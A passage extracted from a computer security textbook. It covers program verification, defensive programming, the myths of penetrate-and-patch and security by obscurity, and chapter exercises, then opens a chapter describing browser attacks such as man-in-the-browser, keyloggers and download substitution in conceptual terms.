220 Chapter 3 Programs and Programming

logic analyzer, we can prove that the initial assumptions, plus the implications of the program statements, produce the terminal condition. In this way, we can show that a particular program achieves its goal. Sidebar 3-13 presents the case for appropriate use of formal proof techniques.

Proving program correctness, although desirable and useful, is hindered by several factors. (For more details see [PFL94].)

• Correctness proofs depend on a programmer’s or logician’s ability to translate a program’s statements into logical implications. Just as programming is prone to errors, so also is this translation.

• Deriving the correctness proof from the initial assertions and the implications of statements is difficult, and the logical engine to generate proofs runs slowly. The

SIDEBAR 3-13 Formal Methods Can Catch Difficult-to- See Problems

Formal methods are sometimes used to check various aspects of secure systems. There is some disagreement about just what constitutes a formal method, but there is general agreement that every formal method involves the use of mathematically precise specification and design notations. In its purest form, development based on formal methods involves refinement and proof of correctness at each stage in the life cycle. But all formal meth- ods are not created equal.

Shari Lawrence Pfleeger and Les Hatton [PFL97a] examined the effects of formal methods on the quality of the resulting software. They point out that, for some organizations, the changes in software development practices needed to support such techniques can be revolutionary. That is, there is not always a simple migration path from current practice to inclu- sion of formal methods. That’s because the effective use of formal methods can require a radical change right at the beginning of the traditional soft- ware life cycle: how we capture and record customer requirements. Thus, the stakes in this area can be particularly high. For this reason, compelling evidence of the effectiveness of formal methods is highly desirable.

Susan Gerhart et al. [GER94] point out:

There is no simple answer to the question: do formal methods pay off? Our cases provide a wealth of data but only scratch the surface of information avail- able to address these questions. All cases involve so many interwoven factors that it is impossible to allocate payoff from formal methods versus other factors, such as quality of people or effects of other methodologies. Even where data was collected, it was difficult to interpret the results across the background of the organization and the various factors surrounding the application.

Indeed, Pfleeger and Hatton compare two similar systems: one sys- tem developed with formal methods and one not. The former has higher quality than the latter, but other possibilities explain this difference in qual- ity, including that of careful attention to the requirements and design.

Section 3.3 Countermeasures 221

speed of the engine degrades as the size of the program increases, so proofs of correctness become less appropriate as program size increases.

• As Marv Schaefer [SCH89a] points out, too often people focus so much on the formalism and on deriving a formal proof that they ignore the underlying secu- rity properties to be ensured.

• The current state of program verification is less well developed than code pro- duction. As a result, correctness proofs have not been consistently and success- fully applied to large production systems.

Program verification systems are being improved constantly. Larger programs are being verified in less time than before. Gerhart [GER89] succinctly describes the advan- tages and disadvantages of using formal methods, including proof of correctness. As program verification continues to mature, it may become a more important control to ensure the security of programs.


Formal verification is a particular instance of the more general approach to assuring correctness. There are many ways to show that each of a system’s functions works cor- rectly. Validation is the counterpart to verification, assuring that the system developers have implemented all requirements. Thus, validation makes sure that the developer is building the right product (according to the specification), and verification checks the quality of the implementation. For more details on validation in software engineering, see Shari Lawrence Pfleeger and Joanne Atlee [PFL10].

A program can be validated in several different ways:

• Requirements checking. One technique is to cross-check each system require- ment with the system’s source code or execution-time behavior. The goal is to demonstrate that the system does each thing listed in the functional require- ments. This process is a narrow one, in the sense that it demonstrates only that the system does everything it should do. As we have pointed out, in security, we are equally concerned about prevention: making sure the system does not do the things it is not supposed to do. Requirements-checking seldom addresses this aspect of requirements compliance.

• Design and code reviews. As described earlier in this chapter, design and code reviews usually address system correctness (that is, verification). But a review can also address requirements implementation. To support validation, the reviewers scrutinize the design or the code to assure traceability from each requirement to design and code components, noting problems along the way (including faults, incorrect assumptions, incomplete or inconsistent behavior, or faulty logic). The success of this process depends on the rigor of the review.

• System testing. The programmers or an independent test team select data to check the system. These test data can be organized much like acceptance testing, so behaviors and data expected from reading the requirements document can be confirmed in the actual running of the system. The checking is done methodi- cally to ensure completeness.

222 Chapter 3 Programs and Programming

Other authors, notably James Whittaker and Herbert Thompson [WHI03a], Michael Andrews and James Whittaker [AND06], and Paco Hope and Ben Walther [HOP08], have described security-testing approaches.

Defensive Programming

The aphorism “offense sells tickets; defense wins championships” has been attributed to legendary University of Alabama football coach Paul “Bear” Bryant, Jr., Minnesota high school basketball coach Dave Thorson, and others. Regardless of its origin, the aphorism has a certain relevance to computer security as well. As we have already shown, the world is generally hostile: Defenders have to counter all possible attacks, whereas attackers have only to find one weakness to exploit. Thus, a strong defense is not only helpful, it is essential.

Program designers and implementers need not only write correct code but must also anticipate what could go wrong. As we pointed out earlier in this chapter, a program expecting a date as an input must also be able to handle incorrectly formed inputs such as 31-Nov-1929 and 42-Mpb-2030. Kinds of incorrect inputs include

• value inappropriate for data type, such as letters in a numeric field or M for a true/false item

• value out of range for given use, such as a negative value for age or the date 30 February

• value unreasonable, such as 250 kilograms of salt in a recipe

• value out of scale or proportion, for example, a house description with 4 bed- rooms and 300 bathrooms.

• incorrect number of parameters, because the system does not always protect a program from this fault

• incorrect order of param- eters, for example, a routine that expects age, sex, date, but the calling program pro- vides sex, age, date

As Microsoft says, secure software must be able to withstand attack itself:

Software security is different. It is the property of software that allows it to continue to operate as expected even when under attack. Software security is not a specific library or function call, nor is it an add-on that magically transforms existing code. It is the holistic result of a thoughtful approach applied by all stakeholders throughout the soft- ware development life cycle. [MIC10a]

Trustworthy Computing Initiative

Microsoft had a serious problem with code quality in 2002. Flaws in its products appeared frequently, and it released patches as quickly as it could. But the sporadic nature of patch releases confused users and made the problem seem worse than it was.

Program designers must not only write correct code but must also anticipate what could go wrong.

Section 3.3 Countermeasures 223

The public relations problem became so large that Microsoft President Bill Gates ordered a total code development shutdown and a top-to-bottom analysis of security and coding practices. The analysis and progress plan became known as the Trusted Com- puting Initiative. In this effort all developers underwent security training, and secure software development practices were instituted throughout the company.

The effort seemed to have met its goal: The number of code patches went down dra- matically, to a level of two to three critical security patches per month.

Design by Contract

The technique known as design by contract™ (a trademark of Eiffel Software) or programming by contract can assist us in identifying potential sources of error. The trademarked form of this technique involves a formal program development approach, but more widely, these terms refer to documenting for each program module its precon- ditions, postconditions, and invariants. Preconditions and postconditions are conditions necessary (expected, required, or enforced) to be true before the module begins and after it ends, respectively; invariants are conditions necessary to be true throughout the module’s execution. Effectively, each module comes with a contract: It expects the preconditions to have been met, and it agrees to meet the postconditions. By hav- ing been explicitly documented, the program can check these conditions on entry and exit, as a way of defending against other modules that do not fulfill the terms of their contracts or whose contracts contradict the conditions of this module. Another way of achieving this effect is by using assertions, which are explicit statements about mod- ules. Two examples of assertions are “this module accepts as input age, expected to be between 0 and 150 years” and “input length measured in meters, to be an unsigned integer between 10 and 20.” These assertions are notices to other modules with which this module interacts and conditions this module can verify.

The calling program must provide correct input, but the called program must not compound errors if the input is incorrect. On sensing a problem, the program can either halt or continue. Simply halting (that is, terminating the entire thread of execution) is usually a catastrophic response to seriously and irreparably flawed data, but continuing is possible only if execution will not allow the effect of the error to expand. The pro- grammer needs to decide on the most appropriate way to handle an error detected by a check in the program’s code. The programmer of the called routine has several options for action in the event of incorrect input:

• Stop, or signal an error condition and return.

• Generate an error message and wait for user action.

• Generate an error message and reinvoke the calling routine from the top (appro- priate if that action forces the user to enter a value for the faulty field).

• Try to correct it if the error is obvious (although this choice should be taken only if there is only one possible correction).

• Continue, with a default or nominal value, or continue computation with- out the erroneous value, for example, if a mortality prediction depends on age, sex, amount of physical activity, and history of smoking, on receiving an

224 Chapter 3 Programs and Programming

inconclusive value for sex, the system could compute results for both male and female and report both.

• Do nothing, if the error is minor, superficial, and is certain not to cause further harm.

For more guidance on defensive programming, consult Pfleeger et al. [PFL02]. In this section we presented several characteristics of good, secure software. Of

course, a programmer can write secure code that has none of these characteristics, and faulty software can exhibit all of them. These qualities are not magic; they cannot turn bad code into good. Rather, they are properties that many examples of good code reflect and practices that good code developers use; the properties are not a cause of good code but are paradigms that tend to go along with it. Following these principles affects the mindset of a designer or developer, encouraging a focus on quality and security; this attention is ultimately good for the resulting product.

Countermeasures that Don’t Work

Unfortunately, a lot of good or good-sounding ideas turn out to be not so good on fur- ther reflection. Worse, humans have a tendency to fix on ideas or opinions, so dislodg- ing a faulty opinion is often more difficult than concluding the opinion the first time.

In the security field, several myths remain, no matter how forcefully critics denounce or disprove them. The penetrate-and-patch myth is actually two problems: People assume that the way to really test a computer system is to have a crack team of brilliant penetration magicians come in, try to make it behave insecurely and if they fail (that is, if no faults are exposed) pronounce the system good.

The second myth we want to debunk is called security by obscurity, the belief that if a programmer just doesn’t tell anyone about a secret, nobody will discover it. This myth has about as much value as hiding a key under a door mat.

Finally, we reject an outsider’s conjecture that programmers are so smart they can write a program to identify all malicious programs. Sadly, as smart as programmers are, that feat can be proven to be impossible.


Because programmers make mistakes of many kinds, we can never be sure all programs are without flaws. We know of many practices that can be used during software devel- opment to lead to high assurance of correctness. Let us start with one technique that seems appealing but in fact does not lead to solid code.

Early work in computer security was based on the paradigm of penetrate-and- patch, in which analysts searched for and repaired flaws. Often, a top-quality tiger team (so called because of its ferocious dedication to finding flaws) would be convened to test a system’s security by attempting to cause it to fail. The test was considered to be a proof of security; if the system withstood the tiger team’s attacks, it must be secure, or so the thinking went.

Section 3.3 Countermeasures 225

Unfortunately, far too often the attempted proof instead became a process for gener- ating counterexamples, in which not just one but several serious security problems were uncovered. The problem discovery in turn led to a rapid effort to “patch” the system to repair or restore the security. However, the patch efforts were largely useless, generally making the system less secure, rather than more, because they frequently introduced new faults even as they tried to correct old ones. (For more discussion on the futility of penetrating and patching, see Roger Schell’s analysis in [SCH79].) There are at least four reasons why penetrate-and-patch is a misguided strategy.

• The pressure to repair a specific problem encourages developers to take a nar- row focus on the fault itself and not on its context. In particular, the analysts often pay attention to the immediate cause of the failure and not to the underly- ing design or requirements faults.

• The fault often has nonobvious side effects in places other than the immediate area of the fault. For example, the faulty code might have created and never released a buffer that was then used by unrelated code elsewhere. The corrected version releases that buffer. However, code elsewhere now fails because it needs the buffer left around by the faulty code, but the buffer is no longer present in the corrected version.

• Fixing one problem often causes a failure somewhere else. The patch may have addressed the problem in only one place, not in other related places. Routine A is called by B, C, and D, but the maintenance developer knows only of the failure when B calls A. The problem appears to be in that interface, so the devel- oper patches B and A to fix the issue, tests, B, A, and B and A together with inputs that invoke the B–A interaction. All appear to work. Only much later does another failure surface, that is traced to the C–A interface. A different program- mer, unaware of B and D, addresses the problem in the C–A interface that, not surprisingly generates latent faults. In maintenance, few people see the big pic- ture, especially not when working under time pressure.

• The fault cannot be fixed properly because system functionality or performance would suffer as a conse- quence. Only some instances of the fault may be fixed or the damage may be reduced but not prevented.

In some people’s minds penetration testers are geniuses who can find flaws mere mortals cannot see; therefore, if code passes review by such a genius, it must be per- fect. Good testers certainly have a depth and breadth of experience that lets them think quickly of potential weaknesses, such as similar flaws they have seen before. This wis- dom of experience—useful as it is—is no guarantee of correctness.

Penetrate-and-patch fails because it is hurried, misses the context of the fault, and focuses on one failure, not the complete system.

226 Chapter 3 Programs and Programming

People outside the professional security community still find it appealing to find and fix security problems as single aberrations. However, security professionals recommend a more structured and careful approach to developing secure code.

Security by Obscurity

Computer security experts use the term security by or through obscurity to describe the ineffective countermeasure of assuming the attacker will not find a vulnerability. Security by obscurity is the belief that a system can be secure as long as nobody outside its implementation group is told anything about its internal mechanisms. Hiding account passwords in binary files or scripts with the presumption that nobody will ever find them is a prime case. Another example of faulty obscurity is described in Sidebar 3-14, in which deleted text is not truly deleted. System owners assume an attacker will never guess, find, or deduce anything not revealed openly. Think, for example, of the dialer program described earlier in this chapter. The developer of that util- ity might have thought that hiding the 100-digit limitation would keep it from being found or used. Obvi- ously that assumption was wrong.

Things meant to stay hidden seldom do. Attackers find and exploit many hidden things.

SIDEBAR 3-14 Hidden, But Not Forgotten

When is something gone? When you press the delete key, it goes away, right? Wrong.

By now you know that deleted files are not really deleted; they are moved to the recycle bin. Deleted mail messages go to the trash folder. And temporary Internet pages hang around for a few days in a history folder waiting for repeated interest. But you expect keystrokes to disappear with the delete key.

Microsoft Word saves all changes and comments since a document was created. Suppose you and a colleague collaborate on a document, you refer to someone else’s work, and your colleague inserts the comment “this research is rubbish.” You concur, so you delete the reference and your colleague’s comment. Then you submit the paper to a journal for review and, as luck would have it, your paper is sent to the author whose work you disparaged. Then the reviewer happens to turn on change marking and finds not just the deleted reference but also your colleague’s deleted com- ment. (See [BYE04].) If you really wanted to remove that text, you should have used the Microsoft Hidden Data Removal Tool. (Of course, inspecting the file with a binary editor is the only way you can be sure the offending text is truly gone.)

The Adobe PDF document format is a simpler format intended to pro- vide a platform-independent way to display (and print) documents. Some people convert a Word document to PDF to eliminate hidden sensitive data.

Section 3.3 Countermeasures 227

Auguste Kerckhoffs, a Dutch cryptologist of the 19th century, laid out several princi- ples of solid cryptographic systems [KER83]. His second principle3 applies to security of computer systems, as well:

The system must not depend on secrecy, and security should not suffer if the system falls into enemy hands.

Note that Kerckhoffs did not advise giving the enemy the system, but rather he said that if the enemy should happen to obtain it by whatever means, security should not fail. There is no need to give the enemy an even break; just be sure that when (not if) the enemy learns of the security mechanism, that knowledge will not harm security. Johans- son and Grimes [JOH08a] discuss the fallacy of security by obscurity in greater detail.

The term work factor means the amount of effort necessary for an adversary to defeat a security control. In some cases, such as password guessing, we can estimate the work factor by determining how much time it would take to test a single password, and multi- plying by the total number of possible passwords. If the attacker can take a shortcut, for example, if the attacker knows the password begins with an uppercase letter, the work fac- tor is reduced correspondingly. If the amount of effort is prohibitively high, for example, if it would take over a century to deduce a password, we can conclude that the security mechanism is adequate. (Note that some materials, such as diplomatic messages, may be so sensitive that even after a century they should not be revealed, and so we would need to find a protection mechanism strong enough that it had a longer work factor.)

We cannot assume the attacker will take the slowest route for defeating security; in fact, we have to assume a dedicated attacker will take whatever approach seems to be fastest. So, in the case of passwords, the attacker might have several approaches:

• Try all passwords, exhaustively enumerating them in some order, for example, shortest to longest.

• Guess common passwords.

• Watch as someone types a password.

3. “Il faut qu’il n’exige pas le secret, et qu’il puisse sans inconvénient tomber entre les mains de l’ennemi.”

That does remove the change-tracking data. But it preserves even invisible output. Some people create a white box to paste over data to be hidden, for example, to cut out part of a map or hide a profit column in a table. When you print the file, the box hides your sensitive information. But the PDF for- mat preserves all layers in a document, so your recipient can effectively peel off the white box to reveal the hidden content. The NSA issued a report detailing steps to ensure that deletions are truly deleted [NSA05].

Or if you want to show that something was there and has been deleted, you can do that with the Microsoft Redaction Tool, which, presum- ably, deletes the underlying text and replaces it with a thick black line.

228 Chapter 3 Programs and Programming

• Bribe someone to divulge the password.

• Intercept the password between its being typed and used (as was done at Churchill High School).

• Pretend to have forgotten the password and guess the answers to the supposedly secret recovery.

• Override the password request in the application.

If we did a simple work factor calculation on passwords, we might conclude that it would take x time units times y passwords, for a work factor of x*y/2 assuming, on aver- age, half the passwords have to be tried to guess the correct one. But if the attacker uses any but the first technique, the time could be significantly different. Thus, in determin- ing work factor, we have to assume the attacker uses the easiest way possible, which might take minutes, not decades.

Security by obscurity is a faulty countermeasure because it assumes the attacker will always take the hard approach and never the easy one. Attackers are lazy, like most of us; they will find the labor-saving way if it exists. And that way may involve looking under the doormat to find a key instead of battering down the door. We remind you in later chapters when a countermeasure may be an instance of security by obscurity.

A Perfect Good–Bad Code Separator

Programs can send a man to the moon, restart a failing heart, and defeat a former cham- pion of the television program Jeopardy. Surely they can separate good programs from bad, can’t they? Unfortunately, not.

First, we have to be careful what we mean when we say a program is good. (We use the simple terms good and bad instead of even more nuanced terms such as secure, safe, or nonmalicious.) As Sidebar 3-11 explains, every program has side effects: It uses memory, activates certain machine hardware, takes a particular amount of time, not to mention additional activities such as reordering a list or even presenting an output in a particular color. We may see but not notice some of these. If a designer prescribes that output is to be presented in a particular shade of red, we can check that the pro- gram actually does that. However, in most cases, the output color is unspecified, so the designer or a tester cannot say a program is nonconforming or bad if the output appears in red instead of black. But if we cannot even decide whether such an effect is acceptable or not, how can a program do that? And the hidden effects (computes for 0.379 microseconds, uses register 2 but not register 4) are even worse to think about judging. Thus, we cannot now, and probably will never be able to, define precisely what we mean by good or bad well enough that a computer program could reliably judge whether other programs are good or bad.

Even if we could define “good” satisfactorily, a fundamental limitation of logic will get in our way. Although well beyond the scope of this book, the field of decidability or computability looks at whether some things can ever be programmed, not just today or using today’s languages and machinery, but ever. The crux of computability is the so-called halting problem, which asks whether a computer program stops execution or runs forever. We can certainly answer that question for many programs. But the British

Exercises 229

mathematician Alan Turing4 proved in 1936 (notably, well before the advent of modern computers) that it is impossible to write a program to solve the halting problem for any possible program and any possible stream of input. Our good program checker would fall into the halting problem trap: If we could identify all good programs we would solve the halting problem, which is provably unsolvable. Thus, we will never have a comprehensive good program checker.

This negative result does not say we cannot examine certain programs for good- ness. We can, in fact, look at some programs and say they are bad, and we can even write code to detect programs that modify protected memory locations or exploit known security vulnerabilities. So, yes, we can detect some bad programs, just not all of them.


In this chapter we have surveyed programs and programming: errors programmers make and vulnerabilities attackers exploit. These failings can have serious consequences, as reported almost daily in the news. However, there are techniques to mitigate these short- comings, as we described at the end of this chapter.

The problems recounted in this chapter form the basis for much of the rest of this book. Programs implement web browsers, website applications, operating systems, net- work technologies, cloud infrastructures, and mobile devices. A buffer overflow can happen in a spreadsheet program or a network appliance, although the effect is more localized in the former case than the latter. Still, you should keep the problems of this chapter in mind as you continue through the remainder of this book.

In the next chapter we consider the security of the Internet, investigating harm affect- ing a user. In this chapter we have implicitly focused on individual programs running on one computer, although we have acknowledged external actors, for example, when we explored transmission of malicious code. Chapter 4 involves both a local user and remote Internet of potential malice.


1. Suppose you are a customs inspector. You are responsible for checking suitcases for secret compartments in which bulky items such as jewelry might be hidden. Describe the procedure you would follow to check for these compartments.

2. Your boss hands you a microprocessor and its technical reference manual. You are asked to check for undocumented features of the processor. Because of the number of possibilities, you cannot test every operation code with every combination of operands. Outline the strat- egy you would use to identify and characterize unpublicized operations.

3. Your boss hands you a computer program and its technical reference manual. You are asked to check for undocumented features of the program. How is this activity similar to the task of the previous exercises? How does it differ? Which is the more feasible? Why?

4. Alan Turing was also a vital contributor to Britain during World War II when he devised several techniques that succeeded at breaking German encrypted communications.

230 Chapter 3 Programs and Programming

4. A program is written to compute the sum of the integers from 1 to 10. The programmer, well trained in reusability and maintainability, writes the program so that it computes the sum of the numbers from k to n. However, a team of security specialists scrutinizes the code. The team certifies that this program properly sets k to 1 and n to 10; therefore, the program is certified as being properly restricted in that it always operates on precisely the range 1 to 10. List different ways that this program can be sabotaged so that during execution it computes a different sum, such as 3 to 20.

5. One way to limit the effect of an untrusted program is confinement: controlling what pro- cesses have access to the untrusted program and what access the program has to other pro- cesses and data. Explain how confinement would apply to the earlier example of the program that computes the sum of the integers 1 to 10.

6. List three controls that could be applied to detect or prevent off-by-one errors.

7. The distinction between a covert storage channel and a covert timing channel is not clearcut. Every timing channel can be transformed into an equivalent storage channel. Explain how this transformation could be done.

8. List the limitations on the amount of information leaked per second through a covert channel in a multiaccess computing system.

9. An electronic mail system could be used to leak information. First, explain how the leakage could occur. Then, identify controls that could be applied to detect or prevent the leakage.

10. Modularity can have a negative as well as a positive effect. A program that is overmodular- ized performs its operations in very small modules, so a reader has trouble acquiring an overall perspective on what the system is trying to do. That is, although it may be easy to determine what individual modules do and what small groups of modules do, it is not easy to understand what they do in their entirety as a system. Suggest an approach that can be used during program development to provide this perspective.

11. You are given a program that purportedly manages a list of items through hash coding. The program is supposed to return the location of an item if the item is present or to return the location where the item should be inserted if the item is not in the list. Accompanying the program is a manual describing parameters such as the expected format of items in the table, the table size, and the specific calling sequence. You have only the object code of this program, not the source code. List the cases you would apply to test the correctness of the program’s function.

12. You are writing a procedure to add a node to a doubly linked list. The system on which this procedure is to be run is subject to periodic hardware failures. The list your program is to maintain is of great importance. Your program must ensure the integrity of the list, even if the machine fails in the middle of executing your procedure. Supply the individual statements you would use in your procedure to update the list. (Your list should be fewer than a dozen statements long.) Explain the effect of a machine failure after each instruction. Describe how you would revise this procedure so that it would restore the integrity of the basic list after a machine failure.

13. Explain how information in an access log could be used to identify the true identity of an impostor who has acquired unauthorized access to a computing system. Describe several different pieces of information in the log that could be combined to identify the impostor.

Exercises 231

14. Several proposals have been made for a processor that could decrypt encrypted data and machine instructions and then execute the instructions on the data. The processor would then encrypt the results. How would such a processor be useful? What are the design requirements for such a processor?

15. Explain in what circumstances penetrate-and-patch is a useful program maintenance strategy.

16. Describe a programming situation in which least privilege is a good strategy to improve security.

17. Explain why genetic diversity is a good principle for secure development. Cite an example of lack of diversity that has had a negative impact on security.

18. Describe how security testing differs from ordinary functionality testing. What are the crite- ria for passing a security test that differ from functional criteria?

19. (a) You receive an email message that purports to come from your bank. It asks you to click a link for some reasonable-sounding administrative purpose. How can you verify that the message actually did come from your bank?

(b) Now play the role of an attacker. How could you intercept the message described in part (a) and convert it to your purposes while still making both the bank and the customer think the message is authentic and trustworthy?

20. Open design would seem to favor the attacker, because it certainly opens the implementation and perhaps also the design for the attacker to study. Justify that open design overrides this seeming advantage and actually leads to solid security.


In this chapter:

• Attacks against browsers • Attacks against and from web sites • Attacks seeking sensitive data • Attacks through email

I n this chapter we move beyond the general programs of the previous chapter to more specific code that supports user interaction with the Internet. Certainly, Inter- net code has all the potential problems of general programs, and you should keep

malicious code, buffer overflows, and trapdoors in mind as you read this chapter. How- ever, in this chapter we look more specifically at the kinds of security threats and vul- nerabilities that Internet access makes possible. Our focus here is on the user or client side: harm that can come to an individual user interacting with Internet locations. Then, in Chapter 6 we look at security networking issues largely outside the user’s realm or control, problems such as interception of communications, replay attacks, and denial of service.

We begin this chapter by looking at browsers, the software most users perceive as the gateway to the Internet. As you already know, a browser is software with a relatively simple role: connect to a particular web address, fetch and display content from that address, and transmit data from a user to that address. Security issues for browsers arise from several complications to that simple description, such as these:

• A browser often connects to more than the one address shown in the browser’s address bar.

• Fetching data can entail accesses to numerous locations to obtain pictures, audio content, and other linked content.

• Browser software can be malicious or can be corrupted to acquire malicious functionality.

• Popular browsers support add-ins, extra code to add new features to the browser, but these add-ins themselves can include corrupting code.

4 The Web—User Side

The Web—User Side 233

• Data display involves a rich command set that controls rendering, positioning, motion, layering, and even invisibility.

• The browser can access any data on a user’s computer (subject to access control restrictions); generally the browser runs with the same privileges as the user.

• Data transfers to and from the user are invisible, meaning they occur without the user’s knowledge or explicit permission.

On a local computer you might constrain a spreadsheet program so it can access files in only certain directories. Photo-editing software can be run offline to ensure that photos are not released to the outside. Users can even inspect the binary or text content of word- processing files to at least partially confirm that a document does not contain certain text.

Unfortunately, none of these limitations are applicable to browsers. By their very nature, browsers interact with the outside network, and for most users and uses, it is infeasible to monitor the destination or content of those network interactions. Many web interactions start at site A but then connect automatically to sites B, C, and D, often without the user’s knowledge, much less permission. Worse, once data arrive at site A, the user has no control over what A does.

A browser’s effect is immediate and transitory: pressing a key or clicking a link sends a signal, and there is seldom a complete log to show what a browser communicated. In short, browsers are standard, straightforward pieces of software that expose users to significantly greater security threats than most other kinds of software. Not surprisingly, attacking the browser is popular and effective. Not only are browsers a popular target, they present many vulnerabilities for attack, as shown in Figure 4-1, which shows the number of vulnerabilities discovered in the major browsers (Google Chrome, Mozilla Firefox, Microsoft Internet Explorer, Opera, and Safari), as reported by Secunia.

With this list of potential vulnerabilities involving web sites and browsers, it is no wonder attacks on web users happen with alarming frequency. Notice, also, that when major vendors release patches to code, browsers are often involved. In this chapter we

Browsers connect users to outside networks, but few users can monitor the actual data transmitted

1000 900 800 700 600 500 400 300 200 100

0 2008 2009 2010 2011 2012 2013

208 207





FIGURE 4-1 Number of Vulnerabilities Discovered in Browsers

234 Chapter 4 The Web—User Side

look at security issues for end-users, usually involving browsers or web sites and usu- ally directed maliciously against the user.


Assailants go after a browser to obtain sensitive information, such as account numbers or authentication passwords; to entice the user, for example, using pop-up ads; or to install malware. There are three attack vectors against a browser:

• Go after the operating system so it will impede the browser’s correct and secure functioning.

• Tackle the browser or one of its components, add-ons, or plug-ins so its activity is altered.

• Intercept or modify communication to or from the browser.

We address operating system issues in Chapter 5 and network communications in Chapter 6. We begin this section by looking at vulnerabilities of browsers and ways to prevent such attacks.

Browser Attack Types

Because so many people (some of them relatively naïve or gullible) use them, browsers are inviting to attackers. A paper book is just what it appears; there is no hidden agent that can change the text on a page depending on who is reading. Telephone, television, and radio are pretty much the same: A signal from a central point to a user’s device is usually uncorrupted or, if it is changed, the change is often major and easily detected, such as static or a fuzzy image. Thus, people naturally expect the same fidelity from a browser, even though browsers are programmable devices and signals are exposed to subtle modification during communication.

In this section we present several attacks passed through browsers.


A man-in-the-browser attack is an example of malicious code that has infected a browser. Code inserted into the browser can read, copy, and redistribute anything the user enters in a browser. The threat here is that the attacker will inter- cept and reuse credentials to access financial accounts and other sensi- tive data.

In January 2008, security research- ers led by Liam Omurchu of Symantec detected a new Trojan horse, which they called SilentBanker. This code linked to a victim’s browser as an add-on or browser helper object; in some versions it listed itself as a plug-in to display video. As a helper object, it set itself to intercept internal browser calls, including those to receive data from the keyboard, send data to a URL, generate or import a cryptographic key, read a file

Man-in-the-browser: Trojan horse that intercepts data passing through the browser

Section 4.1 Browser Attacks 235

(including display that file on the screen), or connect to a site; this list includes pretty much everything a browser does.

SilentBanker started with a list of over 400 URLs of popular banks throughout the world. Whenever it saw a user going to one of those sites, it redirected the user’s key- strokes through the Trojan horse and recorded customer details that it forwarded to remote computers (presumably controlled by the code’s creators).

Banking and other financial transactions are ordinarily protected in transit by an encrypted session, using a protocol named SSL or HTTPS (which we explain in Chap- ter 6), and identified by a lock icon on the browser’s screen. This protocol means that the user’s communications are encrypted during transit. But remember that cryptogra- phy, although powerful, can protect only what it can control. Because SilentBanker was embedded within the browser, it intruded into the communication process as shown in Figure 4-2. When the user typed data, the operating system passed the characters to the browser. But before the browser could encrypt its data to transmit to the bank, Silent- Banker intervened, acting as part of the browser. Notice that this timing vulnerability would not have been countered by any of the other security approaches banks use, such as an image that only the customer will recognize or two-factor authentication. Further- more, the URL in the address bar looked and was authentic, because the browser actually did maintain a connection with the legitimate bank site.

SSL encryption is applied in the browser; data are vulnerable before being encrypted.

FIGURE 4-2 SilentBanker Operates in the Middle of the Browser

User types Browser encrypts

Encrypted data transferred to


SilentBanker intercepts


236 Chapter 4 The Web—User Side

As if intercepting details such as name, account number, and authentication data were not enough, SilentBanker also changed the effect of customer actions. So, for example, if a customer instructed the bank to transfer money to an account at bank A, SilentBanker converted that request to make the transfer go to its own account at bank B, which the customer’s bank duly accepted as if it had come from the customer. When the bank returned its confirmation, SilentBanker changed the details before displaying them on the screen. Thus, the customer found out about the switch only after the funds failed to show up at bank A as expected.

A variant of SilentBanker intercepted other sensitive user data, using a display like the details shown in Figure 4-3. Users see many data request boxes, and this one looks authentic. The request for token value might strike some users as odd, but many users would see the bank’s URL on the address bar and dutifully enter private data.

As you can see, man-in-the-browser attacks can be devastating because they repre- sent a valid, authenticated user. The Trojan horse could slip neatly between the user and the bank’s web site, so all the bank’s content still looked authentic. SilentBanker had little impact on users, but only because it was discovered relatively quickly, and virus detectors were able to eradicate it promptly. Nevertheless, this piece of code demon- strates how powerful such an attack can be.

Keystroke Logger

We introduce another attack approach that is similar to a man in the browser. A key- stroke logger (or key logger) is either hardware or software that records all keystrokes entered. The logger either retains these keystrokes for future use by the attacker or sends them to the attacker across a network connection.

As a hardware device, a keystroke logger is a small object that plugs into a USB port, resembling a plug-in wireless adapter or flash memory stick. Of course, to

FIGURE 4.3 Additional Data Obtained by Man in the Browser

Welcome to UR Bank!

Please fill in the fields below.

Forgot your password? Click here.

Customer ID

User ID


Token Value

Email Address


Section 4.1 Browser Attacks 237

compromise a computer you have to have physical access to install (and later retrieve) the device. You also need to conceal the device so the user will not notice the logger (for example, installing it on the back of a desktop machine). In software, the logger is just a program installed like any malicious code. Such devices can capture passwords, login identities, and all other data typed on the keyboard. Although not limited to browser interactions, a keystroke logger could certainly record all keyboard input to the browser.


A page-in-the-middle attack is another type of browser attack in which a user is redi- rected to another page. Similar to the man-in-the-browser attack, a page attack might wait until a user has gone to a particular web site and present a fictitious page for the user. As an example, when the user clicks “login” to go to the login page of any site, the attack might redirect the user to the attacker’s page, where the attacker can also capture the user’s credentials.

The admittedly slight difference between these two browser attacks is that the man- in-the-browser action is an example of an infected browser that may never alter the sites visited by the user but works behind the scenes to capture information. In a page-in- the-middle action, the attacker redirects the user, presenting different web pages for the user to see.

Program Download Substitution

Coupled with a page-in-the-middle attack is a download substitution. In a download substitution, the attacker presents a page with a desirable and seemingly innocuous program for the user to download, for example, a browser toolbar or a photo organizer utility. What the user does not know is that instead of or in addition to the intended pro- gram, the attacker downloads and installs malicious code.

The advantage for the attacker of a program download substitution is that users have been conditioned to be wary of program downloads, precisely for fear of downloading malicious code. In this attack, the user knows of and agrees to a download, not realiz- ing what code is actually being installed. (Then again, users seldom know what really installs after they click [Yes].) This attack also defeats users’ access controls that would normally block software downloads and installations, because the user intentionally accepts this software.


A different form of attack puts a human between two automated processes so that the human unwittingly helps spammers register automatically for free email accounts.

A CAPTCHA is a puzzle that supposedly only a human can solve, so a server appli- cation can distinguish between a human who makes a request and an automated pro- gram generating the same request repeatedly. Think of web sites that request votes to

A user agreeing to install a program has no way to know what that program will actually do.

238 Chapter 4 The Web—User Side

determine the popularity of television programs. To avoid being fooled by bogus votes from automated program scripts, the voting sites sometimes ensure interaction with an active human by using CAPTCHAs (an acronym for Completely Automated Public Turing test to tell Computers and Humans Apart—sometimes finding words to match a clever acronym is harder than doing the project itself).

The puzzle is a string of numbers and letters displayed in a crooked shape against a grainy background, perhaps with extraneous lines, like the images in Figure 4-4; the user has to recognize the string and type it into an input box. Distortions are intended to defeat optical character recognition software that might be able to extract the characters. (Figure 4-5 shows an amusing spoof of CAPTCHA puzzles.) The line is fine between what a human can still interpret and what is too distorted for pattern recognizers to handle, as described in Sidebar 4-1.

Sites offering free email accounts, such as Yahoo mail and Hotmail, use CAPTCHAs in their account creation phase to ensure that only individual humans obtain accounts. The mail services do not want their accounts to be used by spam senders who use thou- sands of new account names that are not yet recognized by spam filters; after using the account for a flood of spam, the senders will abandon those account names and move



Section 4.1 Browser Attacks 239


